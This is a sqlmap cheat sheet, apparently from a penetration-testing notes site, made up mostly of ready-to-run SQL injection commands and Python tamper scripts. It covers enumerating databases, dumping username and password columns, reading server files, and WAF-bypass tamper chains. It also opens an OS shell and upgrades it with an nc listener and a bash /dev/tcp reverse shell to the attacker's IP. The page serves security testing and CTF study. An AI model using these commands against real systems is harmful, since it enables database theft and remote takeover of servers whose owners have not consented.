SQL Injection with Sqlmap

Last modified: 2023-09-22

Database Reverse Shell SQL Injection Web

SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page provides how to inject SQL using sqlmap.

Basic Usage

# GET request
sqlmap -u "http://<target-ip>/?search=test"

Using Burp Suite Request File

We can specify a request file which is downloaded from Burp Suite.
In Burp Suite, right-click on the HTTP request header screen, then click Save Item to download the request file. We can use it with SQLmap. Add the "-r" flag as below.

sqlmap -r request.txt

In addition, we can see payloads to be tested in Burp Suite by setting the Burp proxy IP address to the --proxy flag.

# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080

Cheat Sheet

Basic

sqlmap -u "https://example.com/?q=test"

# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q

# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"

# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"

# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch

Specify DBMS (Database Management System)

We can specify DBMS such as mysql, postgres, sqlite to avoid unnecessary attempts.

sqlmap -u "https://example.com/?q=test" --dbms mysql
sqlmap -u "https://example.com/?q=test" --dbms postgres
sqlmap -u "https://example.com/?q=test" --dbms sqlite

Enumerations

# List databases
# --dbs: List databases
sqlmap -u "https://example.com/?q=test" --dbs

# List tables
# -D: Specific name of the database
# --table: List tables
sqlmap -u "https://example.com/?q=test" -D exampledb --tables

# List columns
# -T: Specific name of the table
# --columns: List columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users --columns

# Get each column value
# -C: Specific name of the column. We can specify single column or multiple columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username,password

# Get current user and database
sqlmap -u "https://example.com/?q=test" --current-user
sqlamp -u "https://example.com/?q=test" --current-db

Dump Entories

We can dump entories by adding --dump flag.

sqlmap -u "https://example.com/?q=test" --dump
# Specify dbms, database, table
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql -D exampledb -T users

# Dump all entories
sqlmap -u "https://example.com/?q=test" --dump-all

Risk/Level

We can specify the injection risk and level.

risk

Risk of tests to perform. Default is 1. Max is 3.
level

Level of tests to perform. Default is 1. Max is 5.

sqlmap -u "https://example.com/?q=test" --dump --dbms mysql --risk 3 --level 5

Random Agent

sqlmap -u "https://example.com/?q=test" --random-agent

Fresh Queries

If the database is modified, we can refresh the states by adding --fresh-queries.

# --fresh-queries: new data in tables
sqlmap -u "https://example.com/?q=test" --fresh-queries

Injection Techniques

We can specify the injection technique to test by adding --technique.

# Union attack (U)
sqlmap -u "https://example.com/?q=test" --technique U
# --delay 2: Time delay
sqlmap -u "https://example.com/?q=test" --technique U --delay 2

# Time-based Blind SQLi (T)
sqlmap -u "https://example.com/?q=test" --technique T

# Boolean-based blind injection (B)
sqlmap -u "https://example.com/?q=test" --technique B

Sleep

We can sleep for each injection.

# --time-sec 2: Sleep 2 seconds.
sqlmap -u "https://example.com/?q=test" --time-sec 2

Ignore HTTP response code

We can ignore specific HTTP response (status) code.

# Ignore 401 (Unauthorized)
sqlmap -u "https://example.com/?q=test" --ignore-code 401

# Ignore 500 (Internal Server Error)
sqlmap -u "https://example.com/?q=test" --ignore-code 500

We can drop Set-Cookie from HTTP response headers.

sqlmap -u "https://example.com/?q=test" --drop-set-cookie

Second Order Attack

Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap

If the SQL injection affects another URL, we want to customize the second URL.

Method 1. Simply adding the second request

We can add second-url or second-req flag in sqlmap command.
Note that each request file (e.g. req1.txt, req2.txt) is downloaded by clicking "save item" in each request in BurpSuite.

# -p: Specify the parameter where payload will be put
sqlmap -u "https://example.com/profile/change" -p email  --second-url "https://example.com/dashboard"
sqlmap -r req1.txt -p email --second-req req2.txt

Method 2. Tampering

If we could not achieve with the method 1, it’s worth to create a tamper function.
For example, create tamper.py with the content below.

#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def change_profile(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"ExampleToken": "abcdef...xyz"}

    params = {"username":"tester", "email":payload}
    url = "https://example.com/profile/change"
    req = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
		# If we need to send json param, use `json` attribute instead of `data`.

    url = "https://example.com/dashboard"
    req = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    change_profile(payload)
    return payload

By setting the proxy to http://127.0.0.1:8080, we can see the requests and the responses in BurpSuite.
After creating, run sqlmap as below.

# Create this file in current directory to avoid error when running sqlmap with tamper
touch __init__.py

sqlmap --tamper tamper.py -r req1.txt -p email --second-req req2.txt --proxy http://127.0.0.1:8080

Web Shell

Add option "--os-shell" to interact with web shell.

sqlmap -u "http://<target-ip>" --cookie="value=*" --os-shell

After activating, you may want to upgrade to the full functional shell.
You can do that using reverse shell.

In your local machine,

nc -lvnp 4444

Then execute the following command in web shell.

os-shell> bash -c 'bash -i >& /dev/tcp/<your-local-ip>/4444 0>&1'

Read Files

# --batch: never ask for user input, use the default behavior
sqlmap -r request.txt --file-read "/var/www/html/index.php" --time-sec 10 --batch
sqlmap -r request.txt --file-read "/var/www/<subdomain>/index.php" --time-sec 10 --batch

sqlmap -u "http://<target-ip>/?q=test" --file-read "var/www/html/index.php" --time-sec 10 --batch

Tampering

The sqlmap can be tampered by custom python script e.g. tamper.py or the default library.
To list all tampers, run the following command.

sqlmap --list-tampers

WAF (Web Application Firewall) Bypass

This post explains details for what each module works.

# General
sqlmap -r request.txt --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,escapequotes,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

# MSSQL
sqlmap -r request.txt --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

# MySQL
sqlamp -r request.txt --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Custom tamper modules (Base64 encode)

We can also create our custom modules.
For instance, we create "tamper.py".

#!/usr/bin/python3
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass
    
def tamper(payload, **kwargs):
    payload = encodeBase64("%s" % payload, binary=False)
    return payload

Then execute sqlmap.

# The tamper is a module, so we need to create __init__.py in the current directory.
touch __init__.py
sqlmap -u "https://example.com/" --cookie "session=*" --tamper=tamper.py

Multiple Requests

#!/usr/bin/python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

address = "http://vulnerable.com"
password = "test"

def dependencies():
    pass

def create_account(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/signup", data=data)

def login(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/login", data=data)
        sessid = s.cookies.get("session", None)
    return "session={}".format(sessid)


def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    create_account(payload)
    headers["Cookie"] = login(payload)
    return payload

Then run the sqlmap with the tamper option.

sqlmap --tamper tamper.py --url http://vulnerable.com/signup --data "username=admin&password=test" --second-url "http://vulnerable.com/post" --no-cast

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